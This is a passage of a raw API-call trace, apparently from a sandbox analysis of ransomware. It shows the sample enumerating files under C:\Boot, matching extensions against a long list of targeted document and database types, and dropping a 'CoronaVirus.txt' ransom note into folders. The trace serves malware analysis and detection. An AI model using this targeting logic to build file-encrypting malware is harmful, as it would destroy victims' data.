	[0083.221] wcsstr (_Str=".v8i", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".erf", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".epf", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".mxl", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".cfu", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".mht", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".bak", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".old", _SubStr=".ttf") returned 0x0
	[0083.221] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0083.221] wcsncmp (_String1="k", _String2=".", _MaxCount=0x1) returned 61
	[0083.221] wcsncmp (_String1="ko", _String2="..", _MaxCount=0x2) returned 61
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".bak", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".bat", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".doc", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".jpg", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".jpe", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".txt", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".tex", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".dbf", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".xls", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".cry", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".xml", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".vsd", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".pdf", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".csv", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".bmp", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".tif", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".1cd", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".tax", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".gif", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".gbr", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".png", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".mdb", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".mdf", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".sdf", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".dwg", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.222] wcsstr (_Str=".dxf", _SubStr=".ttf") returned 0x0
	[0083.222] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".dgn", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".stl", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".gho", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".v2i", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".3ds", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".ppt", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".acc", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".vpd", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".odt", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".ods", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".rar", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".zip", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".cpp", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".pas", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".asm", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".rtf", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".lic", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".avi", _SubStr=".ttf") returned 0x0
	[0083.223] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.223] wcsstr (_Str=".mov", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".mp3", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".vbs", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".v8i", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".erf", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".epf", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".mxl", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".cfu", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".mht", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".bak", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".old", _SubStr=".ttf") returned 0x0
	[0083.224] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1
	[0083.224] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.224] wcsncmp (_String1="ma", _String2="..", _MaxCount=0x2) returned 63
	[0083.224] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".bak", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".bat", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".doc", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".jpg", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".jpe", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.224] wcsstr (_Str=".txt", _SubStr=".ttf") returned 0x0
	[0083.224] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".tex", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".dbf", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".xls", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".cry", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".xml", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".vsd", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".pdf", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".csv", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".bmp", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".tif", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".1cd", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".tax", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".gif", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".gbr", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".png", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".mdb", _SubStr=".ttf") returned 0x0
	[0083.225] _wcslwr (in: _String=0x3165884 | out: _String=".ttf") returned=".ttf"
	[0083.225] wcsstr (_Str=".mdf", _SubStr=".ttf") returned 0x0
	[0083.225] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1
	[0083.226] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.226] wcsncmp (_String1="ma", _String2="..", _MaxCount=0x2) returned 63
	[0083.226] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1
	[0083.226] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.226] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.226] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1
	[0083.226] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.226] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.226] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1
	[0083.226] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.226] wcsncmp (_String1="ms", _String2="..", _MaxCount=0x2) returned 63
	[0083.226] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1
	[0083.226] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.226] wcsncmp (_String1="ms", _String2="..", _MaxCount=0x2) returned 63
	[0083.226] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1
	[0083.226] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.226] wcsncmp (_String1="ms", _String2="..", _MaxCount=0x2) returned 63
	[0083.226] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1
	[0083.226] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.226] wcsncmp (_String1="ms", _String2="..", _MaxCount=0x2) returned 63
	[0083.226] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1
	[0083.226] wcsncmp (_String1="s", _String2=".", _MaxCount=0x1) returned 69
	[0083.226] wcsncmp (_String1="se", _String2="..", _MaxCount=0x2) returned 69
	[0083.226] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1
	[0083.227] wcsncmp (_String1="s", _String2=".", _MaxCount=0x1) returned 69
	[0083.227] wcsncmp (_String1="se", _String2="..", _MaxCount=0x2) returned 69
	[0083.227] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1
	[0083.227] wcsncmp (_String1="s", _String2=".", _MaxCount=0x1) returned 69
	[0083.227] wcsncmp (_String1="se", _String2="..", _MaxCount=0x2) returned 69
	[0083.227] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0083.227] wcsncmp (_String1="w", _String2=".", _MaxCount=0x1) returned 73
	[0083.227] wcsncmp (_String1="wg", _String2="..", _MaxCount=0x2) returned 73
	[0083.227] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
	[0083.227] FindClose (in: hFindFile=0x600750 | out: hFindFile=0x600750) returned 1
	[0083.227] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0083.227] wcsncmp (_String1="f", _String2=".", _MaxCount=0x1) returned 56
	[0083.227] wcsncmp (_String1="fr", _String2="..", _MaxCount=0x2) returned 56
	[0083.227] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\fr-CA") returned 13
	[0083.227] wcsncmp (_String1="C:\\Boot\\f", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.240] wcsstr (_Str="C:\\Boot\\fr-CA", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.240] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\fr-CA\\CoronaVirus.txt" (normalized: "c:\\boot\\fr-ca\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.243] _alloca_probe () returned 0x4036d0
	[0083.243] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-CA", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\fr-CA", lpFilePart=0x316583c*="fr-CA") returned 0xd
	[0083.243] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeaf8661f, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600b90
	[0083.243] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.243] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeaf8661f, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.243] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.243] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.243] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.243] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.243] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
